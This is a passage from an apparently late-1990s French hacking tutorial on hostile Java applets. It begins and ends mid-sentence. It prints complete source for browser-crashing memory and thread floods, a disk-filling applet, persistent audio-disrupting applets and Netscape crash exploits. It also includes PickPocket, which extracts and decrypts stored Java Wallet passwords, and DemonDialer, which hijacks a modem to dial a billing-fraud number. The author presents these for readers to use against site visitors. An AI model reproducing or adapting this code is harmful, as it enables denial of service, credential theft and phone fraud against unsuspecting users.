mais peut encore servir, et même si ce n'est pas le cas le principe est intéressant et permettra sûrement d'en inspirer de nouveaux. Lorsqu'une
applet fait référence à une classe, la jvm cherche d'abord sur le disque local si cette classe est disponible, si ce n'est pas le cas elle est
téléchargée et se voit appliquée les même restrictions que les autres applets. Le principe est alors de placer au préalable les classes hostiles
dans la variable classpath, puis en y faisant une référence dans une applet celle ci pourra avoir accès au système par l'entremise des classes
hostiles. Les dites classes peuvent être par exemple envoyées dans un fichier zippé, caché dans une bibliothèque de classes utiles, elles. Si
l'utilisateur veut télécharger cette bibliothèques c'est qu'il compte l'utiliser, il la place donc tout seul dans sa variable classpath et nous
n'avons plus qu'à faire le reste. Je sais que les versions récentes de communicator ont remédié au problème en traitant les classes chargées sur
le réseau ou sur le disque avec les mêmes restrictions. Peut-être qu'en s'attaquant directement au ClassLoader... :]
***Memory flooding
Le dernier type d'exploits est celui basé sur la consommation des ressources, le plus simple à réaliser mais pas forcément le moins efficace. La
technique est ici de trouver les processus qui squattent le plus de mémoire possible pour obtenir les résultats les plus spectaculaires. Dans
l'exemple de Joe Lindström (optimisé par moi-même en personne) suivant, chaque thread va ouvrir une nouvelle fenêtre sur www.actionman.com :
/************BEGIN fl00d.java***************/
import java.applet.Applet;
import java.net.URL;
import java.net.MalformedURLException;
public class fl00d extends Applet implements Runnable {
Thread[] thmat;
URL address;
public void init() {
int num;
if(getParameter("NumberOfThreads")!=null) {
try {
num = Integer.parseInt(getParameter("NumberOfThreads"));
} catch(NumberFormatException e) {
num = 1024;
}
}
else
num = 1024;
thmat = new Thread[num];
for(int i=0; i<num; i++) {
thmat[i] = new Thread(this);
thmat[i].start();
}
try {
address = new URL("http://www.actionman.com");
}
catch(MalformedURLException e) {}
}
public void run() {
for(int i=0; i<thmat.length; i++) {
while(Thread.currentThread() == thmat[i])
getAppletContext().showDocument(address, "_blank");
}
}
}
/*************END fl00d.java****************/
Transmettez lui l'argument "NumberOfThreads", le nombre de threads que vous souhaitez utiliser. Joe Lindström plantait avec 10 threads entrant
dans la boucle, ici la valeur par défaut est 1024, mais si vous en mettez plus je pense que vous devriez planter avant qu'ils aient tous le temps
de s'initialiser, c'est ce que j'appelle le temps de flottement : le temps que met l'applet pour s'initialiser totalement et être pleinement
efficace. Plus vous metez de threads, plus le temps de flottement est grand mais plus votre applet sera redoutable. toute la technique consiste à
trouver le milieu optimum entre temps de flottement et les effets causés. Si vous voulez planter un ordinateur très rapide tentez d'en mettre
plus et de mettre plusieurs fois cette applet dans la même page.
Au cours de mes pérégrinations javanaises je me suis dit "mnhhhff raaahhh pff aaarrr zefieftpfff", autrement dit je voulais créer entièrement de
moi même une applet méchante au lieu d'améliorer celles des autres. Or ça tombe drôlement bien parce que ce même jour je me suis fait un poster
avec la hiérarchie des classes de java.io et les constructeurs et tout enfin bref, j'ai remarqué quelque chose qui a attiré mon oeil en manque de
visions salasses : la voisine qui se trimbale à poil devant sa fenêtre, ce qui n'est pas sans me rappeler violemment qu'un PipedOutputStream est
construit sur un PipedInputStream et vice versa. Cela paraissant pour le moins louche je me jette sur mon clavier et benchmarke comme un fou
pendant une heure, et là je m'écrie : "Et pourtant elle tourne !!!". Pour ceux qui n'auraient pas compris cette subtile allusion à la voisine je
rappelle que le film commence rarement avant 21 heures. To sum it up, je me suis basé sur l'applet précédente (les routines de gestion des
threads sont très très bien puisque c'est moi qui les ai faites :) mais en y incorporant le principe des PipedIS et OS qui m'intriguaient, à
juste titre :
/************BEGIN InfinitePipe.java***************/
import java.io.*;
import java.applet.Applet;
public class InfinitePipe extends Applet implements Runnable {
byte[] buf;
Thread[] thmat;
public void init() {
int num;
if(getParameter("NumberOfThreads")!=null) {
try {
num = Integer.parseInt(getParameter("NumberOfThreads"));
} catch(NumberFormatException e) {
num = 1024;
}
}
else
num = 1024;
String str = "";
if(getParameter("LoopText")!=null)
str = getParameter("LoopText");
else {
while(str.length()<num*10)
str += "loop";
}
buf = str.getBytes();
thmat = new Thread[num];
for(int i=0; i<num; i++) {
thmat[i] = new Thread(this);
thmat[i].start();
}
}
public void run() {
for(int i=0; i<thmat.length; i++) {
try {
while(Thread.currentThread() == thmat[i]) {
int length = buf.length;
PipedInputStream in = new PipedInputStream();
PipedOutputStream out = new PipedOutputStream(in);
out.write(buf,0,length);
byte[] buf2 = new byte[length];
int j;
while((j=in.read(buf2,0,length))!=-1)
out.write(buf2,0,length);
}
} catch(Exception e) {
System.out.println("Error --- "+e.toString());
}
}
}
private void pr(String str) {
System.out.println(str);
}
}
/*************END InfinitePipe.java****************/
Transmettez deux arguments à l'applet : "NumberOfThreads" comme dans la précédente et "LoopText", le texte qui va être envoyé dans les pipes.
Aïe c'est bon j'explique : la clé du mystère tient dans ces quelques lignes :
PipedInputStream in = new PipedInputStream();
PipedOutputStream out = new PipedOutputStream(in);
out.write(buf,0,length);
byte[] buf2 = new byte[length];
int j;
while((j=in.read(buf2,0,length))!=-1)
out.write(buf2,0,length);
On y crée deux flux interconnectés, le premier va lire tout ce qui est envoyé sur le deuxième et envoie le tout sur celui-ci, ce qui fait qu'il
se re-remplit lui même. Pour résumer, dès qu'on commence à envoyer des données dans le couple de flux celles-ci sont prisonnières et sont lues en
permanence, en sachant que chaque thread représente un couple et que plus les données qu'on injecte sont volumineuses plus la mémoire est
occupée. Mettez donc dans le paramètre "LoopText" le plus de texte possible. Voilà le résultat de mes tests :
-pour l'appletviewer avec 1 thread et 8 octets de txt : ralentissement important
-pour ie 4.0 avec 1 thread et 8 octets : défauts d'affichage passagers
-pour communicator 4.03 avec 1 thread et 8 octets : gel de la fenêtre
-pour l'appletviewer avec 1024 threads et 23 ko de txt : crash windows avec 2 écrans bleus au bout de 10s
-pour ie avec 1024 threads et 23 ko de txt : crash total au bout de 15s, écrans bleus, erreurs fatales, gel système
-pour communicator avec 1024 threads et 23 ko de txt : rien (?)
Faites vos propres tests pour voir ce que ça donne mais comme vous pouvez vous en rendre compte c'est bien violent :) Note : la taille du texte
influence grandement le temps de flottement, mais le résultat est époustouflant. Dans les derniers exemples, jusqu'à t+10s ou 15s on ne voit
qu'un très léger ralentissement, après c'est l'horreur totale. Je rappelle à tout le monde que ce genre d'applets est le plus simple à faire et
ne demande aucun génie. Ce sont aussi les moins dangereuses vu qu'elles ne font que gêner l'utilisateur, qui, du coup, ne viendra plus sur votre
site de trouduku. C'est donc juste pour satisfaire un peu votre ego et démontrez que la gestion de la mémoire par la jvm est passablement
mauvaise, et pis en plus ça permet d'exciter son côté mesquin de jean-kevin refoulé. J'ai d'ailleurs trouvé un bon moyen de se consoler après
s'être fait larguer par une petite copine (si j'en ai eu d'abord...), écrivez ce genre de merdes pendant toute une soirée et amusez vous à vous
faire crasher une bonne cinquantaine de fois. Une autre technique consiste à changer de copines mais c quand même moins fun pour votre côté
mesquin ;) Bon j'arrête ça fait rire que moi les blagues sur mes ex.
Pour la peine je vous passe une autre applet que j'ai faite, elle crashe communicator 4.7 assez élégamment (elle se termine anormalement sans
plus d'erreurs sur 4.0, et elle ne fait que ralentir ie 4), je vous laisse examiner le code qui est assez simple :
/************BEGIN InstanceFloodApplet.java***************/
public class InstanceFloodApplet extends java.applet.Applet {
public void init() {
while(true) {
try {
InstanceFloodApplet begin = new InstanceFloodApplet();
} catch(NullPointerException e) {
} catch(InstantiationException e) {
} catch(StackOverflowError e) {
continue;
}
}
}
public InstanceFloodApplet() throws InstantiationException {
try {
InstanceFloodApplet p = new InstanceFloodApplet();
} catch(InstantiationException e) {}
}
}
/*************END InstanceFloodApplet.java****************/
Ici, chaque nouvelle instance créée en crée une nouvelle, qui en crée une nouvelle, et ainsi de suite. Comme l'instanciation est une des actions
les plus gourmandes en mémoire, je vous laisse imaginer le résultat :)
L'applet suivante, de Mark LaDue (que l'on reverra pas mal plus tard), overloade le cpu et la mémoire en calculant des chiffres énormes et en
les affichant en dehors de l'écran :
/************BEGIN Consume.java***************/
import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
public class Consume extends java.applet.Applet implements Runnable {
Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
Thread wasteResources = null;
Image offscreenImage;
Graphics offscreenGraphics;
StringBuffer holdBigNumbers = new StringBuffer(0);
long n = 0;
int delay;
public void init() {
setBackground(Color.blue);
offscreenImage = createImage(this.size().width, this.size().height);
offscreenGraphics = offscreenImage.getGraphics();
String str = getParameter("wait");
if (str == null)
delay = 0;
else delay = (1000)*(Integer.parseInt(str));
}
public void start() {
if (wasteResources == null) {
wasteResources = new Thread(this);
wasteResources.setPriority(Thread.MAX_PRIORITY);
wasteResources.start();
}
}
public void stop() {}
public void run() {
try {Thread.sleep(delay);}
catch (InterruptedException e) {}
while (n >= 0) {
try { holdBigNumbers.append(0x7fffffffffffffffL); }
catch (OutOfMemoryError o) {}
repaint();
n++;
}
}
public void update(Graphics g) {
paint(g);
}
public void paint(Graphics g) {
offscreenGraphics.setColor(Color.white);
offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
offscreenGraphics.setColor(Color.blue);
offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
}
}
/*************END Consume.java****************/
Cette applet se contente apparemment d'afficher un grand carré bleu. Vous pouvez lui transmettre le paramètre "wait" qui va indiquer au bout de
combien de temps (en millisecondes) le calcul sera déclenché. Il ne se passe apparemment rien lors de l'exécution du programme mais dès qu'on
quitte le browser la surcharge devient infernale et il devient pratiquement impossible d'avoir accès au système à cause des temps d'accès
interminables... niquédélique ! :)
***Le cri qui tue
Maintenant un petit moment nostalgie (violons siouplé), la toute première applet que j'ai faite qui s'est avérée super drôle même si à l'époque
j'avais pas fait exprès :) Elle joue un son en boucle et ne fait que ça, mais le fait tellement bien que même quand on lui dit elle arrête pas
(arrêtez les violons ça saoule). Etant donné que c'est la jvm du browser qui se charge de jouer le son, ce genre d'évènements est indépendant de
la page en cours, ce qui fait que même si on quitte la page contenant l'applet le son continue d'être joué. Les seuls moyens d'arrêter ce son
sont : 1)fermer le browser ou 2)couper le son. Cette applet marchera sur n'importe quel browser compatible Java 1.0.2 ou 1.1, comme communicator
4.0 ou ie 4.0 (putain les violons !!!).
/************BEGIN AudioTrap.java***************/
import java.awt.Graphics;
import java.applet.AudioClip;
import java.awt.Color;
import java.awt.Font;
public class AudioTrap extends java.applet.Applet implements Runnable {
AudioClip beep;
Thread runner;
public void start() {
if (runner == null) {
runner = new Thread(this);
runner.start();
}
}
public void init() {
String str;
str = getParameter("sound");
if (str == null)
str = "beep.au";
beep = getAudioClip(getCodeBase(), str);
}
public void run() {
if (beep != null)
beep.loop();
Thread thisThread = Thread.currentThread();
}
}
/*************END AudioTrap.java****************/
Transmettez à l'applet le paramètre "sound" représentant le nom du fichier son à jouer, qui est beep.au par défaut.
***Le silence qui tue
Voilà précisément ce que l'on pourrait appeler l'inverse de l'applet précédente. Celle-ci fait un appel toutes les secondes à la méthode
sun.audio.AudioDevice.device.close(), ce qui techniquement empêche les autres applets de jouer des sons (développée pour communicator 4.04 par
Mark LaDue mais fonctionne aussi avec ie). Cela ne serait pas gênant si l'applet ne revenait pas à chaque fois qu'elle est fermée : une fois
chargée en mémoire elle est persistante. Gimme the src plz :
/************BEGIN AudioKiller.java***************/
import java.applet.*;
import sun.audio.*;
public class AudioKiller extends java.applet.Applet implements Runnable {
Thread stubborn;
public void init() {
stubborn = null;
}
public void start() {
if (stubborn == null) {
stubborn = new Thread(this,"stubborn");
stubborn.setPriority(Thread.MAX_PRIORITY);
stubborn.start();
}
}
public void stop() {}
public void run() {
try {
while (true) {
HoseAudio();
try {stubborn.sleep(1000);}
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {System.out.println("You can't get me that easily!");}
finally {
System.out.println("I'm back again!");
AudioKiller aud = new AudioKiller();
Thread reborn = new Thread(aud, "stubborn");
reborn.start();
}
}
public void HoseAudio() {
AudioDevice.device.close();
}
}
/*************END AudioKiller.java****************/
J'attire tout particulièrement l'attention des coders java sur la manière employée pour permettre à l'applet de persister en mémoire, en créant
un nouveau thread en cas d'expiration du thread courant :
try { /* evil code */ }
catch (ThreadDeath td) {}
finally {
Thread reborn = new Thread(new AudioKiller(), "stubborn");
reborn.start();
}
Pour compiler l'applet il faut que vous ayez les classes java de communicator 4.04 dans votre classpath.
***The Java Wallet
Cette partie est empruntée, encore une fois, à mr LaDue. Le Java Wallet (http://java.sun.com/products/commerce/index.html) a été créé par Sun
dans une optique de sécurisation des transactions de commerce électronique. Il nécessite l'installation préalable du Sun's Java plug-in
(http://java.sun.com/products/plugin/). Paradoxalement, ces deux produits couplés font apparaître de nouveaux problèmes de sécurité. Pour runner
les trois applets suivantes vous devez avoir installé le plug-in de sun et le Java Wallet early access 1 (vous trouverez maintenant l'ea 2 sur le
site de sun, il est possible que certains bugs présentés ici soient corrigés dans cette deuxième version).
###PickPocket
Il est toujours étonnant de constater que des programme dits sécurisés permettent l'enregistrement des mots de passe sur le dd. Le fait est que
si un mot de passe est stocké dans le but de pouvoir être réutilisé sans être tapé à nouveau, il doit être stocké sous formé réversible. C'est le
principe de mon applet joylockCracker (http://members.xoom.com/swpteam/products/joylockcracker/) et c'est aussi celui du PickPocket. Cette applet
peut accéder :
-au répertoire d'installation du Java Wallet
-au répertoire de départ de l'utilisateur (user.home, propriété inaccessible normalement)
-aux propriétés du Java Wallet (jcef.properties)
-aux noms d'utilisateurs et aux passwords enregistrés correspondants
Pour tester l'applet il faut que vous ayez créé un wallet enregistré en tant que wallet par défaut pour l'autologin.
/************BEGIN PickPocket.java***************/
import java.awt.*;
import java.io.*;
import javax.commerce.base.*;
import javax.commerce.util.*;
public class Pickpocket extends java.applet.Applet implements Runnable {
Thread controller = null;
File fie = null;
String wfilename;
String login = null;
String encpword = null;
String realpword = null;
TextArea console = null;
public void init() {
console = new TextArea("Pickpocket is a harmless demo applet.\n\n", 20, 80);
console.setEditable(false);
add(console);
console.append("To try it you must have already set up:\n");
console.append("1. Sun's Java Plug-in 1.1;\n");
console.append("2. Sun's Java Wallet (Early Access 1 Release);\n");
console.append("3. A default (saved) user login and password in the Java Wallet.\n\n");
}
public void start() {
if (controller == null) {
controller = new Thread(this);
controller.start();
}
}
public void stop() {}
public void run() {
/* This works regardless of whether or not jecf.properties contains info */
fie = JECF.getWalletHome();
console.append("\nPickpocket knows your Java Wallet Home: " +
fie.toString() + "\n");
/* This depends on jecf.properties containing login information */
wfilename = JECF.getJecfProperty("jecf.walletfile");
login = JECF.getJecfProperty("jecf.user");
encpword = JECF.getJecfProperty("jecf.password");
console.append("Pickpocket knows your Java Wallet file name: " +
wfilename + "\n");
console.append("Pickpocket knows your Java Wallet login name: " +
login + "\n");
console.append("Pickpocket knows your \"encrypted\" password: " +
encpword + "\n");
console.append("Pickpocket will now determine your password.\n");
realpword = decrypt(encpword);
console.append("Pickpocket found your real password: " +
realpword + "\n");
}
/* This recovers the "encrypted" password */
public String decrypt(String encpw) {
String refstr = new String("fB8?!~0[1*&xhg^765Aq*(7GHjgytuYU87521*&(*79(87(*98gihGIhihgghi");
if(encpw.length() == 0) {
return encpw;
}
byte byter[];
try {
BASE64Decoder base64decoder = new BASE64Decoder();
byter = base64decoder.decodeBuffer(encpw);
byte refbytes[] = refstr.getBytes();
int i = Math.min(byter.length, refbytes.length);
for(int j = 0; j < i; j++)
byter[j] -= refbytes[j];
}
catch(Exception ex) {return "";}
return new String(byter);
}
}
/*************END PickPocket.java****************/
###BookMarker
Ne disposant d'absolument rien me permettant de tester cette applet, je vais laisser LaDue vous expliquer son fonctionnement plutôt que de me
risquer à une traduction hasardeuse : http://www.rstcorp.com/hostile-applets/JWApplets.html (en plus vous trouverez là bas tous les fichiers dont
vous avez besoin). Elle s'adresse aux systèmes Solaris disposant de communicator 4.04 ou 4.05, elle permet d'effectuer des commandes sur le
système.
###DemonDialer
En voilà une applet qu'elle est cool :) Elle cible zin 9*/nt avec ie 4.0+ ou communicator 4.04 ou 4.05. Elle liste tous les ports série et
parallèles disponibles sur votre machine, puis liste les propriétés des ports série. Si un port série est libre, l'applet l'ouvre et vérifie si
le modem peut s'y trouver, dans ce cas elle change certaines propriétés et se met à composer des numéros. Elle utilise le système de persistance
en mémoire vu précédemment. Le seul moyen d'arrêter l'applet est donc de fermer le browser. Il est possible d'utiliser l'applet pour composer le
n° que l'on veut, avec les conséquences que ça implique... Pour compiler le code source vous aurez besoin de l'api de communication de sun, qui
permet d'interfacer avec les ports série et parallèles (disponible sur http://maddany.cjb.net/dlarea/packages/javacomm20-win32.zip). J'ai laissé
les commentaires dans le source car le code est un peu straight à mon goût :)
/************BEGIN DemonDialer.java***************/
/* May 9, 1998 */
/* Copyright (c) 1998 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.comm.*;
public class DemonDialer extends java.applet.Applet implements Runnable {
Thread demon;
public void init() {
demon = null;
System.out.println("DemonDialer is a harmless demo applet.\n");
System.out.println("To use try it you must have already set up:");
System.out.println("1. Sun's Java Plug-in 1.1;");
System.out.println("2. Sun's Java Wallet (Early Access 1 Release);\n");
}
public void start() {
if (demon == null) {
demon = new Thread(this);
demon.setPriority(Thread.MAX_PRIORITY);
demon.start();
}
}
public void stop() {}
public void run() {
try {
probe();
}
// Catch all kinds of stuff to make sure we're not stopped
catch (ThreadDeath td) {}
catch (Exception except) {}
catch (Error err) {}
// Resurrect the hostile thread in case of ThreadDeath, Exception,
// Error or completion of its mission
finally {
System.out.println("DemonDialer is back again.");
DemonDialer demon = new DemonDialer();
Thread reborn = new Thread(demon);
reborn.start();
}
}
// Search for a modem
public void probe() {
CommPortIdentifier cpid = null;
SerialPort sp = null;
OutputStream outer = null;
InputStream inner = null;
boolean maybeModem = false;
boolean openedAndDialed = false;
// Enumerate all of the ports
for (Enumeration e = CommPortIdentifier.getPortIdentifiers();
e.hasMoreElements(); ) {
cpid = (CommPortIdentifier) e.nextElement();
openedAndDialed = false;
maybeModem = false;
// Examine a serial port
if (cpid.getPortType() == 1) {
// Print some information about it
System.out.println("String: " + cpid.toString());
System.out.println("Name: " + cpid.getName());
System.out.println("Port Type: " + cpid.getPortType());
System.out.println("Owner: " + cpid.getCurrentOwner());
// Watch and wait for the port to become available
while (!openedAndDialed) {
try {
sp = (SerialPort) cpid.openPort("DemonDialer", 100);
System.out.println("Opened Port " + cpid.getName());
System.out.println("New Owner: " + cpid.getCurrentOwner());
outer = sp.getOutputStream();
System.out.println("Got OutPutStream for " + cpid.getName());
inner = sp.getInputStream();
System.out.println("Got InPutStream for " + cpid.getName());
System.out.println("Serial Port Information:");
System.out.println(" Baud Rate = " + sp.getBaudrate()); // <wolf> coucou!!
System.out.println(" Data Bits = " + sp.getDataBits());
System.out.println(" Stop Bits = " + sp.getStopBits());
System.out.println(" Parity = " + sp.getParity());
System.out.println(" Flow Control Mode = " + sp.getFlowcontrolMode());
if (sp.isDTR()) {
maybeModem = true;
System.out.println(" DTR");
}
if (sp.isRTS()) {
maybeModem = true;
System.out.println(" RTS");
}
if (sp.isCTS()) {
maybeModem = true;
System.out.println(" CTS");
}
if (sp.isDSR()) {
maybeModem = true;
System.out.println(" DTR");
}
if (sp.isRI()) {
maybeModem = true;
System.out.println(" RI");
}
if (sp.isCD()) {
maybeModem = true;
System.out.println(" CD");
}
if (maybeModem) {
System.out.println(cpid.getName() + " looks like a modem");
System.out.println("Dialing " + cpid.getName() + " :");
dialOut(inner, outer);
}
openedAndDialed = true;
if (sp != null) {
sp.closePort();
}
}
// If there were any problems, sleep for 10 seconds and try it again
catch (Exception ex) {
System.out.println("Exception manipulating " + cpid.getName() + " - sleeping 10 seconds before trying again...");
try {
demon.sleep(10000);
}
catch (InterruptedException ie) {}
if (sp != null)
sp.closePort();
}
}
}
}
}
// Exploit your modem
public void dialOut(InputStream inner, OutputStream outer)
throws IOException {
// First command - Stop echoing modem commands
outer.write(65);
outer.write(84);
outer.write(69);
outer.write(48);
outer.write(13);
System.out.println("Sent ATE0<CR> to OutPutStream");
System.out.print("Reading response from InputStream - ");
int avail = inner.available();
System.out.println(avail + " bytes available:");
byte[] response = new byte[avail];
StringBuffer strbuf = new StringBuffer();
inner.read(response, 0, avail);
for (int i = 0; i < avail; i++)
strbuf.append((char)response[i]);
System.out.println(strbuf.toString());
// Second command - turn off the modem's sound
outer.write(65);
outer.write(84);
outer.write(77);
outer.write(48);
outer.write(13);
System.out.println("Sent ATM0<CR> to OutPutStream");
System.out.print("Reading response from InputStream - ");
avail = inner.available();
System.out.println(avail + " bytes available:");
response = new byte[avail];
strbuf = new StringBuffer();
inner.read(response, 0, avail);
for (int i = 0; i < avail; i++)
strbuf.append((char)response[i]);
System.out.println(strbuf.toString());
// Third command - dial the toll-free number of a pseudo-billing service
// that crams arbitrary charges on folks' phone bills
outer.write(65);
outer.write(84);
outer.write(68);
outer.write(84);
outer.write(32);
outer.write(49);
outer.write(56);
outer.write(48);
outer.write(48);
outer.write(56);
outer.write(54);
outer.write(54);
outer.write(56);
outer.write(56);
outer.write(56);
outer.write(57);
outer.write(13);
System.out.println("Sent ATDT 18008668889<CR> to OutPutStream");
try {
System.out.println("Sleeping for 60 seconds...");
demon.sleep(60000);
}
catch (InterruptedException ie) {}
System.out.print("Reading response from InputStream - ");
avail = inner.available();
System.out.println(avail + " bytes available:");
response = new byte[avail];
strbuf = new StringBuffer();
inner.read(response, 0, avail);
for (int i = 0; i < avail; i++)
strbuf.append((char)response[i]);
System.out.println(strbuf.toString());
// Escape to the command mode
System.out.println("Escaping to the command mode...");
outer.write(43);
outer.write(43);
outer.write(43);
outer.write(13);
try {
demon.sleep(2000);
}
catch (InterruptedException ie) {}
System.out.println("Sent +++<CR> to OutPutStream");
System.out.print("Reading response from InputStream - ");
avail = inner.available();
System.out.println(avail + " bytes available:");
response = new byte[avail];
strbuf = new StringBuffer();
inner.read(response, 0, avail);
for (int i = 0; i < avail; i++)
strbuf.append((char)response[i]);
System.out.println(strbuf.toString());
// Hang up the modem
System.out.println("Hanging up...");
outer.write(65);
outer.write(84);
outer.write(72);
outer.write(48);
outer.write(13);
System.out.println("Sent ATH0<CR> to OutPutStream");
System.out.print("Reading response from InputStream - ");
avail = inner.available();
System.out.println(avail + " bytes available:");
response = new byte[avail];
strbuf = new StringBuffer();
inner.read(response, 0, avail);
for (int i = 0; i < avail; i++)
strbuf.append((char)response[i]);
System.out.println(strbuf.toString());
try {
demon.sleep(5000);
}
catch (InterruptedException ie) {}
}
}
/*************END DemonDialer.java****************/
***Maman communicator y m'a mordu !
Les applets qui vont suivre ont (encore) été créées par LaDue. C'est une petite compilation d'exploits pour communicator 4.04 ou 4.05. Je tiens
à vous faire remarquer qu'il y est allé comme un bourrin pour trouver les bugs mais moi j'dis y a que ça de vrai : il a décompilé les 1669
classes java qui constituent la bibliothèques de communicator 4.04 et examiné où ça pouvait clocher. Voilà ce qu'il a trouvé (pour compiler les
applets suivantes il faut que vous ayez les classes de communicator dans votre classpath) :
###DiskHog
Cette applet ne fait rien de moins qu'essayer de remplir votre disque dur. Le package netscapesecfile dans communicator 4.05 permet un accès
illimité à votre disque dur dans un dossier censé être sécurisé (secfile, dans votre répertoire user.home). L'applet va écrire 1 mo de données
toutes les 2 secondes pour ne pas révéler sa présence (un peu plus de 2s en fait, le temps d'écrire les données). Elle utilise à nouveau le
système de persistance en mémoire ce qui fait que vous ne devriez normalement vous rendre compte de rien jusqu'à ce qu'il soit trop tard ou que
vous fermiez le browser.
/************BEGIN DiskHog.java***************/
/* April 12, 1998 */
/* Copyright (c) 1998 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;
public class DiskHog extends java.applet.Applet implements Runnable {
Thread stubborn;
public void init() {
stubborn = null;
}
public void start() {
if (stubborn == null) {
stubborn = new Thread(this,"stubborn");
stubborn.setPriority(Thread.MAX_PRIORITY);
stubborn.start();
}
}
public void stop() {}
public void run() {
try {
while (true) {
dump();
try {stubborn.sleep(2000);}
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
catch (Exception except) {}
catch (Error err) {}
// Resurrect the hostile thread in case of ThreadDeath, Exception, or Error
finally {
DiskHog hog = new DiskHog();
Thread reborn = new Thread(hog, "stubborn");
reborn.start();
}
}
// Dump a megabyte to a "cache" file
public void dump() {
SecureFileOutputStream sfos = null;
byte[] byter = new byte[1048576];
for (int i = 0; i < byter.length; i++) {
byter[i] = (byte) i;
}
try {
sfos = new SecureFileOutputStream("cache", true);
sfos.write(byter);
}
// If we can't dump a megabyte, try to dump less
catch (IOException ioe) {dumpbytes();}
}
// Start dumping single bytes - up to 1 MB - when space is low
public void dumpbytes() {
try {
SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
for (int i = 0; i < 1048576 ;i++)
sfos.write(i);
}
// We're probably out of space, so pause for 5 seconds, then go look for more
catch (IOException ioe) {
try {Thread.currentThread().sleep(5000);}
catch (InterruptedException ie) {}
}
}
}
/*************END DiskHog.java****************/
###Crashi-crashons communicator, lalalilala [chanson paillarde]
Les deux applets qui suivent sont minuscules mais pour le moins efficaces, elles crashent instantanément communicator avec des méthodes
"fantômes" trouvées dans les packages netscape Encore plus étrange elles me crashent aussi l'explorer au lieu de générer une classique
ClassNotFoundException. LaDue a trouvé deux méthodes étranges dans la classe netscapemisc.ObjectHeader :
public static native int GetObjectHeader(Object obj);
public static native int SetObjectHeader(Object obj, int i);
Ces méthodes ne sont apparemment documentées nulle part et utilisées dans aucune autre classe, il a alors décidé de les tester et un simple
appel à une de ces méthodes avec un objet non-initialisé fait crasher netscape.. sobre et élégant :) HoseCom404 exploite ce bug :
/************BEGIN HoseCom404.java***************/
/* HoseCom404.java by Mark D. LaDue */
/* April 5, 1998 */
/* Copyright (c) 1998 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
import netscape.misc.*;
public class HoseCom404 extends java.applet.Applet implements Runnable {
Thread controller = null;
Object obj = null;
public void init() { }
public void start() {
if (controller == null) {
controller = new Thread(this);
controller.start();
}
}
public void stop() {}
public void run() {
ObjectHeader.GetObjectHeader(obj);
// ObjectHeader.SetObjectHeader(obj, 0);
}
}
/*************END HoseCom404.java****************/
Même type d'attaque avec CrashCom405, une simple référence au constructeur netscape.softupdate.SoftwareUpdate() avec des instances nulles suffit
à remplir son office :)
/************BEGIN CrashCom405.java***************/
/* CrashCom405.java by Mark D. LaDue */
/* April 11, 1998 */
/* Copyright (c) 1998 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
import netscape.softupdate.*;
public class CrashCom405 extends java.applet.Applet implements Runnable {
Thread controller = null;
SoftwareUpdate su = null;
public void init() { }
public void start() {
if (controller == null) {
controller = new Thread(this);
controller.start();
}
}
public void stop() {}
public void run() {
su = new SoftwareUpdate(null, null);
}
}
/*************END CrashCom405.java****************/
###Unplugged
Bien qu'elle ne soit pas extrêmement spectaculaire, Unplugged reste une applet nous permet d'accéder à des informations auxquelles nous n'avons
normalement pas droit donc nous on est preneurs. Elle s'appuie sur du javascript pour afficher les plug-ins installés avec communicator ainsi que
leur path sur le système, puis affiche le nombre d'entrées dans l'history du browser.
/************BEGIN Unplugged.java***************/
/* April 15, 1998 */
/* Copyright (c) 1998 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
import netscape.applet.*;
import netscape.javascript.*;
public class Unplugged extends java.applet.Applet implements Runnable{
Thread controller = null;
JSObject jso = null;
int numplugs = 0;
String npname = null;
String[] plugs = null;
int histlen = 0;
public void init() {
jso = JSObject.getWindow(this);
}
public void start() {
if (controller == null) {
controller = new Thread(this);
controller.start();
}
}
public void stop() {}
public void run() {
Control.showConsole();
numplugs = (new Float((jso.eval("pcount()")).toString())).intValue();
System.out.println("\nTotal number of plugins: " + numplugs + "\n");
plugs = new String[numplugs];
for (int i = 0; i < numplugs; i++) {
plugs[i] = (String) jso.eval("nextPlug()");
System.out.println("Plugin " + (i+1) + ": " + plugs[i] + "\n");
}
histlen = (new Float((jso.eval("hcount()")).toString())).intValue();
System.out.println("Total number of history entries: " + histlen);
}
}
/*************END Unplugged.java****************/
Pour que l'applet fonctionne vous devrez insérez le script ci-dessous entre les tags <head> et </head> du fichier contenant l'applet :
<SCRIPT language="javascript">
navigator.plugins.refresh(true);
pcnt = 0;
hcnt = 0;
function pcount() {
var pc = navigator.plugins.length;
return pc;
}
function nextPlug() {
var np = navigator.plugins[pcnt].filename;
pcnt++;
return np;
}
function hcount() {
var hc = history.length;
return hc;
}
</SCRIPT>
***C'était le bon vieux temps...
Les applets qui vont suivre ne sont pas extrêmement intéressantes à utiliser étant donné qu'elles n'affectent que d'anciennes versions des
browsers. Toutefois il est intéressant d'étudier leurs principes et les techniques d'attaques, notamment pour les coders java en herbe qui
auraient l'intention de plonger du côté obscur. Je vous ai fait une petite sélection de celes qui sont, à mon avis, le plus intéressantes à
étudier.
###Hotjava signature bug
Ce bug date de 1997, alors que java 1.1 venait de sortir. Il n'est pas très utile étant donné qu'il ne vise que hotjava 1.0, mais il est
intéressant à étudier. Il a été découvert par une équipe à l'université de Princeton (cs.princeton.edu). Ils n'ont bien évidemment pas diffusé le
code de leur découverte, j'ai donc du créer le code à partir de leurs indications. Ne disposant pas de hotjava 1.0 ni de l'utilitaire de
signature du jdk 1.1 je n'ai pas pu tester si l'applet marche effectivement. Je vous donne leur description de l'exploit, pour que vous puissiez
